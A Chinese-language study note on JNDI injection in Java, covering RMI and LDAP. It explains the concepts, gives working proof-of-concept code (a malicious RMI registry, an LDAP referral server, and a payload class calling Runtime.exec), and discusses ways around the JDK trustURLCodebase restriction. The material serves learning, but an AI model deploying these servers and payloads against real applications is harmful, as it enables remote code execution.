JNDI注入: 前言: 学习完CC链之后,主要作为扩展攻击面使用。
什么是JNDI: JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。
简单来说,JNDI就是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用和统一的接口。
JNDI支持的服务:
RMI(JAVA远程方法调用)这个是Java中特有的远程调用框架,其余都是通用,可以脱离Java独立使用的
LDAP(轻量级目录访问协议)
CORBA(公共对象请求代理体系结构)
DNS(域名服务)
前三种都支持远程对象调用。
具体理解方式应该是:
Naming Service 命名服务:
命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。(就像是一个查询效果)
Directory Service 目录服务:
目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性 。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。(增删查改)
Reference 引用:
在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。
名称系统的特点概念: Bindings
:表示一个名称和对应对象的绑定关系,比如在文件系统中文件名绑定到对应的文件,DNS中域名绑定到对应的ip
Context
:上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定的上下文中查找名称对应的对象,就像是一个文件目录一样,子目录就是子上下文。
JNDI支持的数据从存储对象:
Java序列化对象
JDNI Reference引用
Marshalled对象
RMI远程对象
CORBA对象
JNDI的结构: 因为我们知道上述的服务中,只有RMI是Java特有的远程调用框架,而其余的是独立于Java的,JNDI的作用,就是在这个基础上提供了统一的接口,用来方便调用各种服务。
在Java JDK
中提供了五个包,用于保证JNDI的功能实现,分别是:
javax.naming :主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。
javax.naming.event :在命名目录服务器中请求事件通知。
javax.naming.ldap :提供LDAP支持。
javax.naming.spi :允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
常用类: InitialContext类: 用于创建一个初始上下文。
构造方法:
InitialContext() InitialContext(boolean lazy) InitialContext(Hashtable<?,?> environment)
常用方法:
bind(Name name, Object obj) list(String name) lookup(String name) rebind(String name, Object obj) unbind(String name)
Reference类: 也是javax.naming中的一个类,这个类表示对在命名、目录系统外部找到的对象的引用,提供了JNDI中类的引用功能。
简单来说,作用就是从外部引用类,这个外部可以是命名的外部,也可以是目录的外部。
构造方法:
Reference(String className) Reference(String className, RefAddr addr) Reference(String className, RefAddr addr, String factory, String factoryLocation) Reference(String className, String factory, String factoryLocation)
常用方法:
void add (int posn, RefAddr addr) void add (RefAddr addr) void clear () RefAddr get (int posn) RefAddr get (String addrType) Enumeration<RefAddr> getAll () String getClassName () String getFactoryClassLocation () String getFactoryClassName () Object remove (int posn) int size () String toString ()
原理: JNDI注入,也会是当开发者在定义JNDI接口初始化的时候,lookup()中的参数是可控的,攻击者就可以通过更改参数,是客户端访问恶意的RMI或者是LDAP服务来加载恶意对象,从而执行恶意代码。
而为了完成恶意代码的执行,需要了解到
当调用了lookup()之后,会返回一个对应的Reference引用类,随后可以通过这个引用,间接的调用对象。
Reference中,由地址RefAddress
的有序列表和所引用的对象的信息组成。而每个地址都包含了如何构造对应的对象的信息,包括引用对象的Java类明,以及用于创建对象的ObjectFactory类的名称和位置。
Reference可以使用ObjectFactory来构造对象,当使用lookup()方法查找对象的时候,Reference将使用提供的ObjectFactory类的加载地址来加载ObejctFactory类,通过这个类来构造所需要的对象。
示例:
package com.rmi.demo;import javax.naming.InitialContext;import javax.naming.NamingException;public class jndi { public static void main (String[] args) throws NamingException { String uri = "rmi://127.0.0.1:1099/Exploit" ; InitialContext initialContext = new InitialContext (); initialContext.lookup(uri); } }
如果需要举例理解一下,这里可能反而更像是一个ssrf的问题。
JNDI+RMI复现效果: 在通过JNDI远程调用引用的时候,可以通过http协议进行加载的,这里可以在本地尝试通过JNDI和http协议来加载一个恶意类。
这里需要三个组成部分:
没有经过严格过滤和限制的客户端:
package JNDI;import javax.naming.InitialContext;import javax.naming.NamingException;public class Client { public static void main (String[] args) throws NamingException { String uri = "rmi://127.0.0.1:7778/RCE" ; InitialContext initialContext = new InitialContext (); initialContext.lookup(uri); } }
用于攻击的恶意服务端:
package JNDI;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class Service { public static void main (String[] args) throws Exception{ Registry registry = LocateRegistry.createRegistry(7778 ); Reference reference = new Reference ("Calculator" ,"Calculator" ,"http://127.0.0.1:8081/" ); ReferenceWrapper wrapper = new ReferenceWrapper (reference); registry.bind("RCE" ,wrapper); } }
在服务端中,binding的恶意类Calculator。
package JNDI;public class Calculator { public Calculator () throws Exception { Runtime.getRuntime().exec("calc" ); } }
同时,借用Python3中自带的简单服务器组件http.server来起一个简单的服务:
当上述条件准备好了之后,这里首先启动服务端,然后启动客户端,就可以完成一次恶意攻击。
就会完成一次计算器弹窗。
这里计算器弹窗的调用是通过构造函数实现的,而实际上也可以通过static方法执行。
高版本JDK问题: JDK 6u132
、7u122
、8u113
开始 com.sun.jndi.rmi.object.trustURLCodebase
默认值为false
,运行时需加入参数 -Dcom.sun.jndi.rmi.object.trustURLCodebase=true
。因为如果 JDK
高于这些版本,默认是不信任远程代码的,因此也就无法加载远程 RMI
代码。 不加参数,抛出异常:
这是因为高版本中,默认是不信任远程代码的,所以无法加载远程RMI代码。
上面高版本 JDK
中无法加载远程代码的异常出现在 com.sun.jndi.rmi.registry.RegistryContext#decodeObject
中 其中 getFactoryClassLocation()
方法是获取classFactoryLocation
地址,可以看到,在 ref != null && ref.getFactoryClassLocation() != null
的情况下,会对 trustURLCodebase
进行取反,由于在 JDK 6u132
、7u122
、8u113
版本及以后, com.sun.jndi.rmi.object.trustURLCodebase
默认为 false
,所以会进入 if
语句,抛出异常。
高版本绕过方式: 如果要解码的对象r是远程引用,就需要先解引用,然后再调用NamingManager.getObjectInstance()
。
其中会实例化对应的 ObjectFactory
类并调用其 getObjectInstance
方法,这也符合我们前面打印的 EvilClass
的执行顺序。
因此为了绕过这里 ConfigurationException
的限制,我们有三种方法: 令 ref
为空,或者 令 ref.getFactoryClassLocation()
为空,或者 * 令 trustURLCodebase
为 true
如果尝试令ref
为空,也就是需要obj既不是Reference的对象,也不是Referenceable的对象,也就是不能是对象引用,只能是原始对象。此时,客户端会直接实例化本地对象。
如果尝试令ref.getFactoryClassLocation()
返回空,也就是令ref对象的classFactoryLoacation
属性为空,这个属性是表示引用所指向对象对应的factory
名称,而相对于远程代码加载时codebase,也就是远程代码的URL地址。(可以是多个,通过空格间隔),这正是我们上文针对低版本的利用方式,如果对应的factory是本地代码,则值为空。
这里看一下构造函数:
也就是说,只要我们在远程RMI返回的Reference对象中不指定Factory的codebase,就可以满足条件2。
看一下javax.naming.spi.NamingManager的解析过程:
public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception { ObjectFactory factory; // Use builder if installed ObjectFactoryBuilder builder = getObjectFactoryBuilder(); if (builder != null) { // builder must return non-null factory factory = builder.createObjectFactory(refInfo, environment); return factory.getObjectInstance(refInfo, name, nameCtx, environment); } // Use reference if possible Reference ref = null; if (refInfo instanceof Reference) { ref = (Reference) refInfo; } else if (refInfo instanceof Referenceable) { ref = ((Referenceable)(refInfo)).getReference(); } Object answer; if (ref != null) { String f = ref.getFactoryClassName(); if (f != null) { // if reference identifies a factory, use exclusively factory = getObjectFactoryFromReference(ref, f); if (factory != null) { return factory.getObjectInstance(ref, name, nameCtx, environment); } // No factory found, so return original refInfo. // Will reach this point if factory class is not in // class path and reference does not contain a URL for it return refInfo; } else { // if reference has no factory, check for addresses // containing URLs answer = processURLAddrs(ref, name, nameCtx, environment); if (answer != null) { return answer; } } } // try using any specified factories answer = createObjectFromFactories(refInfo, name, nameCtx, environment); return (answer != null) ? answer : refInfo; }
可以看到,在处理Reference
对象的时候,会首先调用ref.getFactoryClassName()
获取对应工厂类的名称,也就是会首先从本地的CLASSPATH中寻找该类,如果不为空,则直接实例化工厂类,并通过工厂类去实例化一个对象并返回,如果为空则通过网络去请求。
在我们之前使用的时候,就是直接在本地查找了一个工厂类叫做Calculator.class
,也就是我们编译了Calculator.java
后生成的class文件。
当寻找到的时候,会直接将这个类实例化,然后就触发了我们的构造函数。
也就是说,只要能够在本地CLASSPATH
中找到一个我们需要的,可以利用的工厂类,也可以执行某种操作。
但是这个工厂类应当实现javax.naming.spi.ObjectFactory
接口,并且至少存在一个getObjectInstance()
方法。
可以看到,在这里会进行一个getObjectInstance()的调用。
以及我们这里是通过JNDI中调用的,在JNDI中,工厂类必须实现javax.naming.spi.ObjectFactory
接口,这是因为该接口定义了JNDI在创建对象时使用的标准协议。
也就是提供了上述方法。
JNDI+LDAP复现效果: LDAP是轻量级目录访问协议,不是基于Java产生的,因此,需要自己下载jar包来进行搭建。
之所以可以利用这个服务,是因为LDAP能够对接JNDI,同时能够返回一个JNDI Reference
对象,这部分的利用内容和之前的差不多。
同时LDAP作为一个树状数据库,可以通过一些特殊的属性来实现Java对象的存储,此外,还有一些其他实现Java对象存储的方法。
例如使用Java序列化进行存储,或是使用Reference进行存储。
所以,如果存储在LDAP中的Java对象,一旦被客户端解析,或者说是反序列化,就可能会引起远程代码执行。
特点:
LDAP远程加载的Factory类不受RMI+Reference中的配置的限制,因此使用范围广。
这是因为它不是使用RMI Class Loader机制。
服务端:
package LDAP;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;public class Service { private static final String LDAP_BASE = "dc=example,dc=com" ; public static void main (String[] args) { String url = "http://127.0.0.1:8081/#Calculator" ; int port = 1234 ; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig ( "listen" , InetAddress.getByName("0.0.0.0" ), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor (new URL (url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this .codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry (base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL (this .codebase, this .codebase.getRef().replace('.' , '/' ).concat(".class" )); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName" , "Exploit" ); String cbstring = this .codebase.toString(); int refPos = cbstring.indexOf('#' ); if ( refPos > 0 ) { cbstring = cbstring.substring(0 , refPos); } e.addAttribute("javaCodeBase" , cbstring); e.addAttribute("objectClass" , "javaNamingReference" ); e.addAttribute("javaFactory" , this .codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); } } }
这里的服务端,整体实现的思路就是
准备两个端口,一个用于访问,一个用于存储恶意类
当客户端访问其中一个端口时,将请求转接到预定义好的URL中,随后通过预定义好的方法,来获取基础DN,工厂类等,最后返回引用给客户端。
客户端:
package LDAP;import javax.naming.InitialContext;import javax.naming.NamingException;public class Client { public static void main (String[] args) throws NamingException{ String url = "ldap://127.0.0.1:1234/Calculator" ; InitialContext initialContext = new InitialContext (); initialContext.lookup(url); } }
和之前RMI的客户端其实没多少区别,因为每次其实就是请求一个端口,返回一个引用。
恶意类代码也什么区别。